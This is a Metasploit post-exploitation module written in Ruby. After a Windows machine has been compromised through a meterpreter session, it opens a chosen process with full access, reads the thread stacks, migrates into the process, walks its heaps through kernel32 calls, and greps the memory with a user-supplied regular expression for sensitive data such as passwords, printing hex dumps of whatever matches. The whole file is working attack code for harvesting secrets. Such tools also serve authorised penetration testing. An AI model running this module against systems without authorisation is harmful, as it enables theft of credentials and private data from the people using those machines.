## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Post def initialize(info={}) super( update_info(info, 'Name' => 'Windows Gather Process Memory Grep', 'Description' => %q{ This module allows for searching the memory space of a proccess for potentially sensitive data. }, 'License' => MSF_LICENSE, 'Author' => ['bannedit'], 'Version' => '$Revision$', 'Platform' => ['windows'], 'SessionTypes' => ['meterpreter' ] )) register_options( [ OptString.new('PROCESS', [true, 'Name of the process to dump memory from', nil]), OptString.new('REGEX', [true, 'Regular expression to search for with in memory', nil]), ], self.class) end def run if session.type != "meterpreter" print_error "Only meterpreter sessions are supported by this post module" return end print_status("Running module against #{sysinfo['Computer']}") target_pid = nil stack = [] name = datastore['PROCESS'] regex = Regexp.new(datastore['REGEX']) target_pid = client.sys.process[name] print_status("Found #{datastore['PROCESS']} running as pid: #{target_pid}") if not target_pid print_error("Could not access the target process") return end process = session.sys.process.open(target_pid, PROCESS_ALL_ACCESS) begin print_status("Walking process threads...") threads = process.thread.each_thread do |tid| thread = process.thread.open(tid) esp = thread.query_regs['esp'] addr = process.memory.query(esp) vprint_status("Found Thread TID: #{tid}\tBaseAddress: 0x%08x\t\tRegionSize: %d bytes" % [addr['BaseAddress'], addr['RegionSize']]) data = process.memory.read(addr['BaseAddress'], addr['RegionSize']) stack << { 'Address' => addr['BaseAddress'], 'Size' => addr['RegionSize'], 'Handle' => thread.handle, 'Data' => data } end rescue end # we need to be inside the process to walk the heap using railgun current = session.sys.process.getpid if target_pid != current print_status("Migrating into #{target_pid} to allow for dumping heap data") session.core.migrate(target_pid) end heap = [] railgun = session.railgun heap_cnt = railgun.kernel32.GetProcessHeaps(nil, nil)['return'] dheap = railgun.kernel32.GetProcessHeap()['return'] vprint_status("Default Process Heap: 0x%08x" % dheap) ret = railgun.kernel32.GetProcessHeaps(heap_cnt, heap_cnt * 4) pheaps = ret['ProcessHeaps'] idx = 0 handles = [] while idx != pheaps.length vprint_status("Found Heap: 0x%08x" % pheaps[idx, 4].unpack('V')[0]) handles << pheaps[idx, 4].unpack('V')[0] idx += 4 end print_status("Walking the heap... this could take some time") begin heap = [] handles.each do |handle| lpentry = "\x00" * 42 while (ret = railgun.kernel32.HeapWalk(handle, lpentry)) and ret['return'] #print ret.inspect entry = ret['lpEntry'][0, 4].unpack('V')[0] size = ret['lpEntry'][4, 4].unpack('V')[0] data = process.memory.read(entry, size) vprint_status("Walking Entry: 0x%08x\t Size: %d" % [entry, size]) heap << {'Address' => entry, 'Size' => size, 'Handle' => handle, 'Data' => data} lpentry = ret['lpEntry'] end end rescue end matches = [] stack.each do |mem| idx = mem['Data'].index(regex) if idx != nil print_status("Match found...\n" + hex_dump(mem['Data'][idx, 512], mem['Address']+idx)) end end heap.each do |mem| idx = mem['Data'].index(regex) if idx != nil print_status("Match found...\n" + hex_dump(mem['Data'][idx, 512], mem['Address']+idx)) end end end def hex_dump(str, base = 0, width = 16) buf = '' idx = 0 cnt = 0 snl = false lst = 0 while (idx < str.length) chunk = str[idx, width] addr = "0x%08x:\t" % (base + idx) line = chunk.unpack("H*")[0].scan(/../).join(" ") buf << addr + line # add the index to the beginning of the line (base + idx) if (lst == 0) lst = line.length buf << " " * 4 else buf << " " * ((lst - line.length) + 4).abs end chunk.unpack("C*").each do |c| if (c > 0x1f and c < 0x7f) buf << c.chr else buf << "." end end buf << "\n" idx += width end buf << "\n" end end